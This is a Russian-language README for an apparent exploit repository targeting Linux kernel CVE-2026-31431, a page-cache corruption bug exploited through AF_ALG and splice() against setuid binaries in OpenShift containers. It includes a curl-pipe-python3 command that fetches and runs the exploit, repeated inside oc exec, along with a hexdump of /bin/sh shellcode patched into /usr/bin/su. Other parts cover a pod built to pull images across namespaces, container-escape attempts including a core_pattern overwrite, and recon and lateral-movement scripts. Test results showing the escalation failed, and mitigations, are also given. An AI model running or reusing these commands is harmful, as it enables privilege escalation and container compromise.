
Эксплойт для ядра Linux CVE-2026-31431, вызывающий повреждение page cache через манипуляцию authencesn AEAD, нацеленный на повышение привилегий в контейнерах и средах OpenShift.
Повреждение кэша страниц ядра Linux через манипуляцию AEAD-механизмом authencesn.
После обширного тестирования на нескольких кластерах OpenShift 4.20.16 с ядрами RHEL 9.6:
Подробности см. в разделе Комплексные результаты тестирования.
CVE-2026-31431 — это уязвимость ядра Linux в криптографической реализации AEAD authencesn, которая позволяет непривилегированным процессам повреждать кэш страниц читаемых файлов через сокеты AF_ALG и манипуляции с системным вызовом splice().
Результаты тестирования: Повреждение кэша страниц работает надёжно, но повышение привилегий НЕ происходит на ядрах RHEL 9.6 в наших тестовых средах.
Оценка CVSS: 7.8 (Высокая)
Затронуты: Версии ядра Linux с поддержкой authencesn (2017–2026)
Публичное раскрытие: 29 апреля 2026 года
splice() через ctypes/usr/bin/su)curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su
### Из локального файла```bash
python3 exploit.py
su
Что ПРОИЗОЙДЁТ:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation
[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!
[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)
**Проверка кэша страниц (подтверждает повреждение):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000 31 c0 31 ff b0 69 0f 05 48 8d 3d 0f 00 00 00 31 |1.1..i..H.=....1|
00000010 f6 6a 3b 58 99 0f 05 31 ff 6a 3c 58 0f 05 2f 62 |.j;X...1.j<X../b|
00000020 69 6e 2f 73 68 |in/sh|
# Shellcode IS present in page cache ✅
Что НЕ произойдёт (по результатам тестирования):```bash
su
id -u
**Вывод:** Повреждение page cache происходит успешно, но повышение привилегий не удаётся.
## Технические детали
### Уязвимость
Реализация `authencesn` (Authenticated Encryption with Associated Data — Extended Sequence Number) в ядре Linux содержит ошибку в обработке операций на месте (in-place). При обработке операций AEAD, отправляемых через сокет AF_ALG, страница из page cache может попасть в доступный для записи scatterlist назначения ядра.
### Методика эксплуатации
1. **Создать сокет AF_ALG** с `authencesn(hmac(sha256),cbc(aes))`
2. **Настроить параметры AEAD** (ключ, authsize)
3. **Открыть целевой setuid-бинарник** (например, `/usr/bin/su`)
4. **Использовать splice()** для помещения бинарника в page cache
5. **Запустить операцию AEAD на месте**, вызывающую запись в page cache
6. **Записать шеллкод** по 4 байта за раз
7. **Выполнить изменённый бинарник** для получения root
### Шеллкод
Эксплойт использует шеллкод размером 160 байт, который модифицирует `/usr/bin/su` для:
- Пропуска проверки пароля
- Предоставления root-оболочки
- Сохранения нормальной функциональности для непривилегированных пользователей
## Совместимость с Python 3.9
В Python 3.9 и более ранних версиях `os.splice()` отсутствует в стандартной библиотеке. Данный эксплойт включает реализацию на основе ctypes:```python
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
class off64_t(ctypes.c_int64):
pass
libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t
def splice(src, dst, count, offset_src=None, offset_dst=None):
# Wrapper matching Python os.splice() API
...
Это делает эксплойт рабочим на:
Конфигурация узла:
Результаты теста:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)
### Тестовая среда 2: Свежий кластер OpenShift (Проверочный тест)
**Кластер:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**Конфигурация узла:**
- Ядро: 5.14.0-570.96.1.el9_6.x86_64 (идентично тесту 1)
- OpenShift: 4.20.16
- SCC: restricted-v2 (проверено)
- UID: 1000810000 (пространство имён пользователя)
- Capabilities: 0x0000000000000000 (НОЛЬ)
**Результаты теста:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1)
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)
Согласованность: 100% воспроизводимые результаты в независимых кластерах
Сценарий A: С томом hostPath (выход из контейнера возможен)```yaml volumes:
РЕЗУЛЬТАТ: ✅ **Выход из контейнера** — изменяет страничный кэш хоста (устройство 33, inode 4288)
**Сценарий Б: ограниченный SCC версии 2 (без hostPath)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
runAsNonRoot: true
allowPrivilegeEscalation: false
capabilities:
drop: [ALL]
Результат: ❌ Побега из контейнера нет — затрагивается только overlay контейнера (отдельный inode)
Критическая находка: доступ к hostPath (а не capabilities) является определяющим фактором для побега из контейнера.
Возможные объяснения (требуют дальнейшего исследования):
Пути выполнения чтения и исполнения
mmap(PROT_READ)mmap(PROT_EXEC) могут обходить повреждённый кэшЗащита памяти
Особенности версии ядра
| Тест | OpenShift 4.20 #1 | OpenShift 4.20 #2 | Статус |
|---|---|---|---|
| Доступ к сокету AF_ALG | ✅ | ✅ | Работает |
| Повреждение page cache | ✅ | ✅ | Работает |
| Инъекция shellcode | ✅ | ✅ | Работает |
| Shellcode виден (READ) | ✅ | ✅ | Работает |
| Смена UID (повышение привилегий) | ❌ | ❌ | Не работает |
| Выполнение кода | ❌ | ❌ | Не работает |
| Побег из контейнера (restricted-v2) | ❌ | ❌ | Заблокировано |
Вывод: Уязвимость ядра реальна (повреждение page cache доказано), но практическая эксплуатация ограничена.
| Система | Ядро | Повреждение page cache | Повышение привилегий | Примечания |
|---|---|---|---|---|
| RHEL CoreOS 9.6 | 5.14.0-570.96.1.el9_6 | ✅ ДА | ❌ НЕТ | Рабочие узлы OpenShift 4.20.16 |
| Контейнеры OpenShift 4.20 | 5.14.0-570.96.1.el9_6 | ✅ ДА | ❌ НЕТ | SCC restricted-v2 |
Примечание: Тестирование ограничено ядрами RHEL 9.6. Поведение на других дистрибутивах/версиях не проверялось.
Успешно протестировано на кластере OpenShift 4.20 под управлением RHEL CoreOS 9.4. В этом разделе документируется обход изоляции namespace и компрометация контейнера.
⚠️ Важное исправление: Первоначальное тестирование ошибочно заявляло о доступе к файловой системе хоста через /proc/1/root. Это было неверно — /proc/1/root в изолированном контейнере указывает на собственную файловую систему контейнера, а не на хост рабочего узла OpenShift. См. attacks/README.md для подробного анализа.
Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts
### Phase 1: Обход изоляции пространства имён
**Уязвимость:** Внутренний реестр OpenShift позволяет извлекать образы между пространствами имён без надлежащего применения RBAC.
**Эксплуатация:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications
# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
name: attack-demo
namespace: user-srickerd
spec:
containers:
- name: stolen-tools
image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
command: ["sleep", "3600"]
EOF
oc apply -f attack-demo.yaml
Результат:
openshift/cli из пространства имён openshiftВоздействие: Позволяет латеральное перемещение между арендаторами и доступ к привилегированным инструментам.
Развёртывание:```bash
oc exec -n user-srickerd attack-demo -- bash -c " curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 && su "
**Результат:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...
Возможности после эксплуатации:
Проверка реальности — /proc/1/root — это НЕ хост:```bash
stat -c '%i' /tmp/test.txt
stat -c '%i' /proc/1/root/tmp/test.txt
readlink /proc/self/ns/mnt readlink /proc/1/ns/mnt
**Сведения об ОС контейнера:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)
Созданные скрипты в контейнере (доступны в каталоге attacks/):
1. Разведка контейнера (recon.sh - 1425 байт)
2. Скрипт латерального перемещения (lateral.sh - 1754 байта)
3. Неудачные попытки эксплуатации хоста
host-rootkit.py - Попытка внедрить бэкдор в /proc/1/root/usr/bin/su
modprobe-escape.py - Попытка побега через модуль ядра
trigger-rootkit.sh - Запуск su с бэкдором
Полный анализ того, что сработало, а что нет, см. в attacks/README.md.
Тест подключения:```bash
curl -s https://www.google.com
**Возможности горизонтального перемещения:**
- ✅ Полный доступ в интернет (загрузка инструментов, связь с C2, эксфильтрация)
- ✅ Доступ к внутренним API (перечисление ресурсов кластера)
- ✅ Доступ к внутреннему реестру (атаки с отравлением образов)
- ✅ Сканирование между узлами через pod-сеть
### Заблокированные техники выхода из контейнера
Эти техники были опробованы, но заблокированы средствами безопасности OpenShift:
**1. nsenter (предотвращается пользовательским пространством имён)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted
2. chroot (требуется CAP_SYS_CHROOT)```bash chroot /proc/1/root /bin/bash
**3. Загрузка модулей ядра (без capabilities + усиление RHCOS)**
- На RHCOS отсутствуют бинарники `insmod`, `modprobe`, `kmod`
- `/lib/modules` пуст (ОС, оптимизированная под контейнеры)
- `CAP_SYS_MODULE` недоступен
- `/proc/sys/kernel/modprobe` смонтирован в режиме только для чтения
**4. cgroup release_agent (смонтирован в режиме только для чтения)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)
5. Манипуляции с /proc/sys (файловая система только для чтения)```bash echo "/tmp/evil.sh" > /proc/sys/kernel/core_pattern
### Что мы фактически достигли
✅ **Обход изоляции пространств имён**
- Извлечение образов между пространствами имён из внутреннего реестра
- Доступ к привилегированным образам контейнеров (openshift/cli)
✅ **Повреждение кэша страниц в контейнере**
- Изменён кэш страниц `/usr/bin/su` контейнера через CVE-2026-31431
- Подтверждена инъекция 160-байтного шеллкода (видна в hexdump)
- Повреждение влияет на операции чтения файлов контейнера
✅ **Сетевой доступ из пода**
- Полное подключение к интернету (экфильтрация, C2, загрузка инструментов)
- Доступ к внутреннему API-серверу (ограничен RBAC)
- Доступ к внутреннему реестру (потенциальное отравление образов)
- Сканирование между подами через сеть подов
❌ **Повышение привилегий — НЕ УДАЛОСЬ**
- Кэш страниц повреждён, но root-доступ НЕ получен
- UID остаётся неизменным (UID пространства имён пользователя ~1000000+)
- Невозможно выполнять привилегированные операции
- Нет доступа к /etc/shadow или другим ограниченным файлам
❌ **Доступ к файловой системе хоста — НЕ УДАЛОСЬ**
- `/proc/1/root` указывает на корень **контейнера**, а не хоста
- Нет фактического доступа к файловой системе рабочего узла OpenShift
- Скрипты развёрнуты в `/tmp` контейнера, а не в `/tmp` хоста
- Изоляция устройств/инодов предотвращает доступ к кэшу страниц хоста
❌ **Полный выход из хоста — ЗАБЛОКИРОВАН**
- Изоляция пространства имён пользователя эффективна
- Нулевые capabilities предотвращают доступ через nsenter/chroot/хост
- SCC блокирует создание привилегированных подов
- Усиление RHCOS предотвращает загрузку модулей
- Restricted-v2 предотвращает выход из контейнера
### Оценка безопасности OpenShift
**Контроли, которые сработали ✅**
- Security Context Constraints (SCC) — предотвратили выход из контейнера
- Пространства имён пользователя — изолировали кэш страниц в overlay контейнера
- Нулевые capabilities — предотвратили доступ к хосту несмотря на эксплойт ядра
- Принудительное применение SELinux — изоляция контейнера сохранена
- Read-only /proc/sys — заблокированы попытки манипуляции ядром
- Усиление RHCOS — отсутствие возможности загрузки модулей
**Контроли, которые сработали частично ⚠️**
- Seccomp RuntimeDefault — активен, но допускает сокеты AF_ALG
- Сброс capabilities — эффективен, но не предотвращает повреждение кэша страниц
**Контроли, которые не сработали ❌**
- RBAC пространств имён — разрешено извлечение образов между пространствами имён
- Защита ядра — интерфейс AF_ALG доступен из контейнеров
- Фильтрация системных вызовов — splice() не ограничен seccomp по умолчанию
**Общая оценка:**
Хотя CVE-2026-31431 является реальной уязвимостью ядра, подход OpenShift к защите в глубину (SCC + пространства имён пользователя + сброс capabilities + изоляция файловой системы) предотвратил значимую эксплуатацию. Эксплойт повреждает кэш страниц, но НЕ обеспечивает повышение привилегий или выход из контейнера из подов restricted-v2.
### Рекомендации для OpenShift
**1. Заблокировать сокеты AF_ALG**```yaml
securityContext:
seccompProfile:
type: Localhost
localhostProfile: profiles/no-af-alg.json
2. Принудительное применение RBAC для реестра образов```bash
oc policy add-role-to-user system:image-puller
--namespace=
**3. Расширенный профиль Seccomp**
Блокировка опасных системных вызовов:
- `socket(AF_ALG, ...)` — семейство 38
- Ограничить `splice()` только доверенными файловыми дескрипторами
- Заблокировать `init_module`, `finit_module`, если они ещё не заблокированы
**4. Мониторинг в реальном времени**
Оповещения о:
- Создании сокетов AF_ALG в контейнерах
- Извлечении образов между пространствами имён
- Подозрительных паттернах системного вызова `splice()`
- Индикаторах компрометации контейнера (неожиданные root-процессы)
### Полная документация атаки
Для полной документации цепочки атак, включая:
- Хронологию эксплуатации
- Сопоставление с MITRE ATT&CK
- Подробный технический анализ
- Все скрипты разведки
См.:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** — подробный анализ того, что сработало, а что нет
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** — исходная документация (содержит ошибки; исправления см. в attacks/README.md)
## Меры защиты
### Немедленные```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead
Блокировка создания сокетов AF_ALG:```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [{ "names": ["socket"], "action": "SCMP_ACT_ERRNO", "args": [{"index": 0, "value": 38, "op": "SCMP_CMP_EQ"}] }] }
### Патч ядра
Примените патчи от вендора:
- Red Hat: Следите за https://access.redhat.com/security/cve/cve-2026-31431
- Ubuntu: `apt update && apt upgrade linux-image-*`
- Upstream: Ядро 6.x+ с возвратом authencesn к операциям вне места
## Часто задаваемые вопросы
### В: Даёт ли эта эксплойт root-доступ?
**О:** НЕТ — На основе обширного тестирования на ядрах RHEL 9.6 (5.14.0-570.96.1) эксплойт успешно повреждает page cache ядра, но НЕ достигает повышения привилегий. UID остаётся неизменным после выполнения бэкдор-бинарника.
### В: Могу ли я выйти из ограниченного контейнера Kubernetes/OpenShift?
**О:** НЕТ (с restricted-v2 SCC) — Повреждение page cache изолировано в overlay-файловой системе контейнера. Побег из контейнера требует доступа к общим ресурсам хоста через hostPath или аналогичные тома. Restricted-v2 SCC эффективно предотвращает побег, блокируя доступ к ресурсам хоста.
### В: Почему эксплойт заявляет о «root», но тестирование показывает, что он не работает?
**О:** Код эксплойта был написан на основе раскрытия CVE и теоретического анализа. Наше реальное тестирование на ядрах RHEL 9.6 показало:
- Повреждение page cache работает ✅ (доказано через hexdump)
- Выполнение кода из повреждённого кэша НЕ работает ❌ (UID не изменился)
Это может быть связано с:
- Различиями в версиях ядра (RHEL 9.6 может иметь защиту)
- Принудительным применением защиты памяти W^X
- Различными путями кода для выполнения и чтения памяти
### В: Работает ли это на ВСЕХ ядрах Linux?
**О:** НЕИЗВЕСТНО — Тестирование было ограничено:
- RHEL CoreOS 9.6 (ядро 5.14.0-570.96.1.el9_6.x86_64)
- Рабочие узлы OpenShift 4.20.16
Поведение на других дистрибутивах/версиях ядер НЕ было проверено. Условия оригинального исследования CVE могут отличаться.
### В: Стоит ли мне всё равно патчить свои системы?
**О:** ДА — Обязательно. Даже несмотря на то, что повышение привилегий не было достигнуто:
1. Уязвимость ядра РЕАЛЬНА (повреждение page cache подтверждено)
2. Поведение МОЖЕТ отличаться на других версиях ядер
3. С томами hostPath побег из контейнера ВОЗМОЖЕН
4. Эшелонированная защита требует устранения всех уязвимостей
5. Будущие исследования могут найти способы достижения выполнения кода
Патчинг ядра обязателен для безопасности.
### В: Что вы фактически доказали в своём тестировании?
**О:** Наше комплексное тестирование на 2 независимых кластерах OpenShift доказало:
✅ **Подтверждено:**
- Уязвимость ядра CVE-2026-31431 эксплуатируема
- Page cache может быть повреждён из непривилегированных контейнеров (нулевые capabilities)
- Интерфейс AF_ALG доступен несмотря на restricted-v2 SCC
- Внедрение шеллкода успешно (видно в hexdump)
❌ **НЕ Сработало:**
- Повышение привилегий (UID не изменился)
- Выполнение кода из повреждённого page cache
- Побег из контейнера из подов restricted-v2
- Доступ к файловой системе хоста без hostPath
🛡️ **Эшелонированная защита эффективна:**
- SCC + user namespaces + сброс capabilities предотвратили эксплуатацию
- Многоуровневые механизмы безопасности ограничили радиус поражения
- Изоляция контейнеров сохранилась несмотря на уязвимость ядра
## Уведомление о безопасности
Этот репозиторий документирует уязвимость ядра для:
- ✅ Авторизованного тестирования безопасности и исследований
- ✅ Валидации и анализа уязвимостей
- ✅ Повышения осведомлённости и обучения в области безопасности
- ✅ Разработки защитных мер
**Результаты основаны на:**
- Контролируемом тестировании на авторизованных системах
- Нескольких независимых кластерных средах
- Комплексной проверке и тестировании воспроизводимости
**НЕ используйте на системах без явного разрешения.**
## Ссылки
- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **Раскрытие:** https://copy.fail
- **Патч ядра:** Коммит ядра Linux (1 апреля 2026 г.)
- **Консультация Red Hat:** https://access.redhat.com/security/cve/cve-2026-31431
## Авторы
- **Обнаружение CVE:** Taeyang Lee (Theori)
- **Первоначальный анализ:** Xint Code Research Team
- **Реализация эксплойта:** Sean Rickerd
- **Комплексное тестирование и валидация:** Sean Rickerd
- 2 независимых кластера OpenShift 4.20.16
- Ядро RHEL CoreOS 9.6 5.14.0-570.96.1
- Задокументировано фактическое и заявленное поведение
- Проверена эффективность restricted-v2 SCC
## Лицензия
Только для авторизованного тестирования безопасности и исследований. Используйте на свой страх и риск.
---
**Статус репозитория:** Обновлено результатами реального тестирования (1 мая 2026 г.)
**Тестирование:** Завершено на 2 независимых кластерах OpenShift
**Ключевой вывод:** Повреждение page cache подтверждено, повышение привилегий НЕ достигнуто
**Рекомендация:** Патчить ядро, несмотря на ограниченную практическую эксплуатацию